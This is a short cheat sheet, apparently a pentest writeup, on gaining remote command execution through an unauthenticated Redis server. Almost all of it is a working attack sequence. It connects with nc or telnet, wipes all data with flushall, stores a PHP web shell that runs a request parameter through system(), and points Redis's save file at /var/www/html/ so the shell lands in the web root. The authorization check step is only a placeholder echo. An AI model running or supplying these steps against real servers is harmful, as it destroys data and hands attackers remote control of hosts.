Redis

Remote Dictionary Server

• Is an in-memory key–value database, used as a distributed cache and message broker, with optional durability.

• Standard Port 6379

Redis Remote Command Execution

Writeup

1. Connect to redis

nc localhost 6379
telnet 192.168.1.11 6379

1. Check if authorization is required:

echo "Hey no AUTH required!"

1. Flush the memory:

flushall

1. Write the web-shell:

set access "<? system($_REQUEST['cmd']); ?>"

1. Set the file name:

config set dbfilename tokyo.php

1. Set the file path:

config set dir /var/www/html/

1. Finally save the file:

save